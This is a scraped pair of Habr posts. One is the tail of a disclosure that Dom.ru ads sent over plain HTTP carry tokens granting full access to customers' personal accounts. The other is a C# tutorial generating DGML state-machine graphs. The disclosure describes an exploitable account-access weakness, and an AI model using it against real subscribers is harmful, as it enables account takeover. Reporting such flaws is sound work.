Location: http://info.ertelecom.ru/?campId=айди&machine=perm&ourl=адрес_целевой_страницы
```
06.07.2020 я получил отчет из еще одного источника об открытии рекламной страницы через http.
UPD 14.07.2020. Старые токены не работают, но реклама, а следовательно и ссылка открывающая полный доступ к личному кабинету, до сих пор передаются по http.
**Свежий скриншот**
UPD 25.07.2020. Реклама до сих пор передается по http. Старый токен от 14.07.2020 до сих пор работает. Ссылка из рекламы до сих пор ведет на личный кабинет с полным к нему доступом.
**Скриншоты с мобилки**
#### Вместо заключения
Я до сих пор не испытываю неприязни к провайдеру, хотя, думаю, многие на моём месте испытывали бы острую злость. Я понимаю, что человеческий фактор порой может быть очень силён. Цели сделать кому-то плохо я никогда не преследовал — это не про меня. Моя цель — наконец достучаться до провайдера и предупредить вас. А вы предупредите своих друзей и близких.
Как и у многих компаний, у Дом.ru отсутствует программа bug bounty. Призываю всех читателей никогда не идти на поводу сиюминутной «чёрной» наживы. В первую очередь вы действуете против таких же как вы людей, а не «системы».
Хотел бы задать пару вопросов хабровчанам. | https://habr.com/ru/post/510146/ | null | ru | null |
# Простой генератор DGML-файла графа переходов машины состояний
Допустим, есть проект WPF/MVVM, в котором необходимо реализовать шаблон State Machine, позволяющий управлять поведением объекта (в данном случае, ViewModel) в зависимости от того состояния, в котором он находится. При этом необходимо получить простую реализацию этого шаблона без использования Windows Workflow Foundation, которая включала бы в себя классы состояний, класс реализующий логику переходов и таблицу переходов. И наряду с вопросами реализации этого шаблона стоит задача реализации инструмента, автоматизирующего процесс построения диаграммы состояний на основе таблицы переходов. При этом граф, построенный с помощью этого инструмента, должен отвечать следующим требованиям:
* граф должен обладать понятной и упорядоченной визуальной структурой (ручное упорядочивание вершин и связей графа должно быть сведено к минимуму);
* файл графа должен быть включен в проект и, соответственно, в систему контроля версий;
* вершина графа должны обладать кликабельной ссылкой на файл, в котором реализовано состояние;
* должна быть реализована возможность задавать стили к вершинам графа.
Так, если про реализацию паттерна машины состояний в контексте проекта WPF/MVVM есть достаточно материала, то для решения второй задачи – реализации генератора графа переходов – очевидного решения не нашлось. Но при анализе материала на эту тему я наткнулся на эту [статью](http://www.codeproject.com/Articles/845150/Csharp-WPF-State-Machine-driven-by-DGML), которая меня и натолкнула на решение. Так, в этой статье автор вручную формирует граф состояний с помощью инструмента Visual Studio, а именно визуального редактора DGML-файлов (Direct Graph Markup Language), и далее, на основе полученного графа, программно формирует таблицу переходов машины состояний.
DGML-файл (файл ориентированного графа) имеет XML представление, структура которого отлично описана в MSDN. Так, программно редактируя XML представление можно изменить визуальное представление графа. Таким образом, был выбран инструмент визуализации графа, осталось реализовать генератор, который на основе имеющейся таблицы переходов формировал бы XML представление DGML-файла.
Так было принято решение добавить DGML-файл в решение проекта и реализовать генератор графа в тестовом методе:
```
[TestMethod]
public void ClientStateMachineTest()
{
// Экземпляр машины состояний ClientStateMachine
var clientStateMachine = new ClientStateMachine();
var xmlDoc = new XmlDocument();
// Относительный путь до DGML-файла, включенного в решение проекта
const string fileDgml = @"..\..\SM\Test\ClientStateMachineGraph.dgml";
xmlDoc.Load(fileDgml);
var nodeLinks = xmlDoc.SelectSingleNode("/*[local-name()='DirectedGraph']/*[local-name()='Links']");
var nodes = xmlDoc.SelectSingleNode("/*[local-name()='DirectedGraph']/*[local-name()='Nodes']");
if (nodes != null)
{
nodes.RemoveAll();
foreach (var state in clientStateMachine.StatesCollection)
{
var newNode = xmlDoc.CreateNode(XmlNodeType.Element, "Node", "http://schemas.microsoft.com/vs/2009/dgml");
var id = xmlDoc.CreateAttribute("Id");
id.Value = state.GetType().Name;
var reference = xmlDoc.CreateAttribute("Reference");
reference.Value = string.Format(@"..\..\SM\States\{0}.cs", state.GetType().Name);
var background = xmlDoc.CreateAttribute("Background");
background.Value = state.Background.Name;
if (newNode.Attributes != null)
{
newNode.Attributes.Append(id);
newNode.Attributes.Append(background);
newNode.Attributes.Append(reference);
}
nodes.AppendChild(newNode);
}
}
if (nodeLinks != null)
{
nodeLinks.RemoveAll();
foreach (var tr in clientStateMachine.Transitions)
{
var newLink = xmlDoc.CreateNode(XmlNodeType.Element, "Link", "http://schemas.microsoft.com/vs/2009/dgml");
var source = xmlDoc.CreateAttribute("Source");
source.Value = (tr.Value.InitialState).GetType().Name;
var target = xmlDoc.CreateAttribute("Target");
target.Value = tr.Value.FinalState.GetType().Name;
if (newLink.Attributes != null)
{
newLink.Attributes.Append(source);
newLink.Attributes.Append(target);
}
nodeLinks.AppendChild(newLink);
}
}
xmlDoc.Save(fileDgml);
}
```
В начале метода на основе относительного пути к DGML-файлу проекта загружается XML-документ, из которого извлекаются XML-узел Links, содержащий ориентированные связи графа Link, и XML-узел Nodes, содержащий вершины графа Node.
Далее, на основе коллекции состояний clientStateMachine.StatesCollection формируются вершины графа, у которых устанавливаются ссылки на файлы состояний и цвет фона.
Затем, на основе каждого перехода из таблицы переходов clientStateMachine.Transitions, имеющего начальное InitialState и конечное FinalState состояния, формируется направленное ребро графа путем добавления соответствующих атрибутов Source и Target в XML-элемент Link.
Результат выполнения этого тестового метода представлен на рисунке ниже.
В заключение, хочу отметить, что:
* наглядная структура графа, без наложения или пересечения вершин и связей, была получена автоматически с помощью конструктора макета графа, что является отличным преимуществом данного инструмента Visual Studio;
* перейти по ссылке к файлу состояния можно из контекстного меню вершины графа;
* представленный генератор можно легко адаптировать под любую машину состояний, имеющую таблицу переходов.
Таким образом, представлена простая, но эффективная реализация генератора ориентированного графа в тестовом методе, выполнение которого позволяет получить актуальную версию диаграммы состояний. | https://habr.com/ru/post/269983/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.